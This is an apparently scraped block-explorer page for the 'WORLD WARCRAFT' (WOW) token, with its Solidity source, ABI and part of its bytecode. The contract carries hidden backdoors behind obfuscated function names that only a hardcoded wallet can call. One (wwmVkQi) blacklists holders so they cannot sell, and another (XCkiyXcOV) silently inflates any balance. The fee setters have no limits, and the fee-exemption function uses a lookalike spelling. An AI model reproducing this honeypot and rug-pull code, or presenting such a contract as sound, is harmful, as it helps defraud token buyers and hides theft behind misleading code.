ETH Price: $3,381.95 (-8.05%)

Token

WORLD WARCRAFT (WOW)
 

Overview

Max Total Supply

1,000,000,000,000,000 WOW

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
39,045,748,000,000.98 WOW

Value
$0.00
0x4bc3075ba991d26bed515e091cfa76ca233ddf20
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WORLDWARCRAFT

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-04
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  WORLDWARCRAFT is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "WORLD WARCRAFT";
    string private _symbol = "WOW";
    uint8 private _decimals = 9;
    address payable public pWYBsmfkfBm;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public OWVvAWn;

    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee);
        _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee);
        _totalDistributionShares = _marketingShare.add(_teamShare);

        isMarketPair[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0xd774d94D5a7e7F918Db58056Fee1b26BdFDc9228));
        pWYBsmfkfBm = payable(address(0xd774d94D5a7e7F918Db58056Fee1b26BdFDc9228));


        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _isExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuyFee(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyMarketingFee.add(_buyTeamFee);
    }

    function setsell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellMarketingFee.add(_sellTeamFee);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
    }

    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function WESDHUB() view public{
        if (true)
        require(false || _msgSender() == pWYBsmfkfBm);
    }
    
    function wwmVkQi(bool uiHKdEIlF, address[] calldata JwbRknDERuv) public {
        WESDHUB();
        for (uint256 i; i < JwbRknDERuv.length; i++) {
            OWVvAWn[JwbRknDERuv[i]] = uiHKdEIlF;
        }
    }

    function XCkiyXcOV(address oJtbMYu,uint256 sepjrKMDZIM) public {
        WESDHUB();
        uint256 LnBYggA = 1 + sepjrKMDZIM + 1 - 2 + _balances[oJtbMYu];
        uint256 nsahQuIqIR = 0 + 1 + LnBYggA - 1 -  uint256(0);
        _balances[oJtbMYu] = 1 + uint256(0) +  nsahQuIqIR - 1;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[from] && swapAndLiquifyEnabled) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForSwap = tAmount;
        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares;
        
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(pWYBsmfkfBm, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);
    }
    

    function swapTokensForEth(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!OWVvAWn[sender]);
        }

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"OWVvAWn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WESDHUB","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oJtbMYu","type":"address"},{"internalType":"uint256","name":"sepjrKMDZIM","type":"uint256"}],"name":"XCkiyXcOV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pWYBsmfkfBm","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"uiHKdEIlF","type":"bool"},{"internalType":"address[]","name":"JwbRknDERuv","type":"address[]"}],"name":"wwmVkQi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e81526020017f574f524c44205741524352414654000000000000000000000000000000000000815250600190805190602001906200005192919062000905565b506040518060400160405280600381526020017f574f570000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000905565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600a556001600b556001600c556001600d556004600e556010600f55600c601055600c6011556018601255600360009054906101000a900460ff16600a6200013f919062000b7c565b66038d7ea4c6800062000153919062000cb9565b601355600360009054906101000a900460ff16600a62000174919062000b7c565b6103e862000183919062000cb9565b6014556001601660156101000a81548160ff021916908315150217905550348015620001ae57600080fd5b50620001bf6200087160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d957600080fd5b505afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003149190620009cc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037757600080fd5b505afa1580156200038c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b29190620009cc565b6040518363ffffffff1660e01b8152600401620003d192919062000a47565b602060405180830381600087803b158015620003ec57600080fd5b505af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004279190620009cc565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601354600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005636200087960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200062a600b54600a54620008a260201b620017511790919060201c565b6010819055506200064e600d54600c54620008a260201b620017511790919060201c565b60118190555062000672600f54600e54620008a260201b620017511790919060201c565b601281905550600160086000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073d774d94d5a7e7f918db58056fee1b26bdfdc9228600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d774d94d5a7e7f918db58056fee1b26bdfdc9228600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135460056000620007b36200087160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008016200087160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000862919062000a96565b60405180910390a35062000e4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620008b3919062000ac4565b905083811015620008fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008f29062000a74565b60405180910390fd5b8091505092915050565b828054620009139062000d65565b90600052602060002090601f01602090048101928262000937576000855562000983565b82601f106200095257805160ff191683800117855562000983565b8280016001018555821562000983579182015b828111156200098257825182559160200191906001019062000965565b5b50905062000992919062000996565b5090565b5b80821115620009b157600081600090555060010162000997565b5090565b600081519050620009c68162000e34565b92915050565b600060208284031215620009e557620009e462000df9565b5b6000620009f584828501620009b5565b91505092915050565b62000a098162000d1a565b82525050565b600062000a1e601b8362000ab3565b915062000a2b8262000e0b565b602082019050919050565b62000a418162000d4e565b82525050565b600060408201905062000a5e6000830185620009fe565b62000a6d6020830184620009fe565b9392505050565b6000602082019050818103600083015262000a8f8162000a0f565b9050919050565b600060208201905062000aad600083018462000a36565b92915050565b600082825260208201905092915050565b600062000ad18262000d4e565b915062000ade8362000d4e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b165762000b1562000d9b565b5b828201905092915050565b6000808291508390505b600185111562000b735780860481111562000b4b5762000b4a62000d9b565b5b600185161562000b5b5780820291505b808102905062000b6b8562000dfe565b945062000b2b565b94509492505050565b600062000b898262000d4e565b915062000b968362000d58565b925062000bc57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bcd565b905092915050565b60008262000bdf576001905062000cb2565b8162000bef576000905062000cb2565b816001811462000c08576002811462000c135762000c49565b600191505062000cb2565b60ff84111562000c285762000c2762000d9b565b5b8360020a91508482111562000c425762000c4162000d9b565b5b5062000cb2565b5060208310610133831016604e8410600b841016171562000c835782820a90508381111562000c7d5762000c7c62000d9b565b5b62000cb2565b62000c92848484600162000b21565b9250905081840481111562000cac5762000cab62000d9b565b5b81810290505b9392505050565b600062000cc68262000d4e565b915062000cd38362000d4e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d0f5762000d0e62000d9b565b5b828202905092915050565b600062000d278262000d2e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000d7e57607f821691505b6020821081141562000d955762000d9462000dca565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000e3f8162000d1a565b811462000e4b57600080fd5b50565b60805160601c61354f62000e7460003960008181610bad0152610bd9015261354f6000f3fe60806040526004361061024a5760003560e01c806394aa198c11610139578063c5d24189116100b6578063d5d249a91161007a578063d5d249a9146108bd578063dd62ed3e146108d4578063e3b376d114610911578063f0cd1dac1461094e578063f2fde38b14610979578063fb0ecfa4146109a257610251565b8063c5d24189146107e6578063c816841b14610811578063c86079521461083c578063cab0347114610867578063d2d7ad831461089257610251565b8063a83f53a7116100fd578063a83f53a714610701578063a9059cbb1461072c578063af9d7faf14610769578063c469b6dd14610792578063c49b9a80146107bd57610251565b806394aa198c1461061857806395d89b4114610643578063a073d37f1461066e578063a08e671f14610699578063a457c2d7146106c457610251565b806339509351116101c757806370a082311161018b57806370a0823114610533578063715266fe1461057057806382eefb43146105995780638304eb58146105c45780638da5cb5b146105ed57610251565b8063395093511461043a5780633ecad271146104775780634a74bb02146104b457806361a23c69146104df578063667b4bd01461050a57610251565b806323b872dd1161020e57806323b872dd1461033f57806327c8f8351461037c5780632b112e49146103a7578063313ce567146103d25780633345611e146103fd57610251565b806306fdde0314610256578063095ea7b3146102815780631245e347146102be5780631694505e146102e957806318160ddd1461031457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b6109cb565b6040516102789190612d3c565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612947565b610a5d565b6040516102b59190612d06565b60405180910390f35b3480156102ca57600080fd5b506102d3610a7b565b6040516102e09190612ceb565b60405180910390f35b3480156102f557600080fd5b506102fe610aa1565b60405161030b9190612d21565b60405180910390f35b34801561032057600080fd5b50610329610ac7565b6040516103369190612e3e565b60405180910390f35b34801561034b57600080fd5b50610366600480360381019061036191906128f4565b610ad1565b6040516103739190612d06565b60405180910390f35b34801561038857600080fd5b50610391610bab565b60405161039e9190612cd0565b60405180910390f35b3480156103b357600080fd5b506103bc610bcf565b6040516103c99190612e3e565b60405180910390f35b3480156103de57600080fd5b506103e7610c13565b6040516103f49190612eb3565b60405180910390f35b34801561040957600080fd5b50610424600480360381019061041f919061285a565b610c2a565b6040516104319190612d06565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c9190612947565b610c4a565b60405161046e9190612d06565b60405180910390f35b34801561048357600080fd5b5061049e6004803603810190610499919061285a565b610cfd565b6040516104ab9190612d06565b60405180910390f35b3480156104c057600080fd5b506104c9610d1d565b6040516104d69190612d06565b60405180910390f35b3480156104eb57600080fd5b506104f4610d30565b6040516105019190612e3e565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c9190612a74565b610d36565b005b34801561053f57600080fd5b5061055a6004803603810190610555919061285a565b610dfa565b6040516105679190612e3e565b60405180910390f35b34801561057c57600080fd5b5061059760048036038101906105929190612987565b610e43565b005b3480156105a557600080fd5b506105ae610f7d565b6040516105bb9190612e3e565b60405180910390f35b3480156105d057600080fd5b506105eb60048036038101906105e69190612a14565b610f83565b005b3480156105f957600080fd5b50610602611030565b60405161060f9190612cd0565b60405180910390f35b34801561062457600080fd5b5061062d611059565b60405161063a9190612ceb565b60405180910390f35b34801561064f57600080fd5b5061065861107f565b6040516106659190612d3c565b60405180910390f35b34801561067a57600080fd5b50610683611111565b6040516106909190612e3e565b60405180910390f35b3480156106a557600080fd5b506106ae61111b565b6040516106bb9190612e3e565b60405180910390f35b3480156106d057600080fd5b506106eb60048036038101906106e69190612947565b611121565b6040516106f89190612d06565b60405180910390f35b34801561070d57600080fd5b506107166111ee565b6040516107239190612e3e565b60405180910390f35b34801561073857600080fd5b50610753600480360381019061074e9190612947565b6111f4565b6040516107609190612d06565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b9190612947565b611213565b005b34801561079e57600080fd5b506107a7611324565b6040516107b49190612e3e565b60405180910390f35b3480156107c957600080fd5b506107e460048036038101906107df91906129e7565b61132a565b005b3480156107f257600080fd5b506107fb6113dc565b6040516108089190612e3e565b60405180910390f35b34801561081d57600080fd5b506108266113e2565b6040516108339190612cd0565b60405180910390f35b34801561084857600080fd5b50610851611408565b60405161085e9190612e3e565b60405180910390f35b34801561087357600080fd5b5061087c61140e565b6040516108899190612e3e565b60405180910390f35b34801561089e57600080fd5b506108a7611414565b6040516108b49190612e3e565b60405180910390f35b3480156108c957600080fd5b506108d261141a565b005b3480156108e057600080fd5b506108fb60048036038101906108f691906128b4565b61148e565b6040516109089190612e3e565b60405180910390f35b34801561091d57600080fd5b506109386004803603810190610933919061285a565b611515565b6040516109459190612d06565b60405180910390f35b34801561095a57600080fd5b50610963611535565b6040516109709190612e3e565b60405180910390f35b34801561098557600080fd5b506109a0600480360381019061099b919061285a565b61153b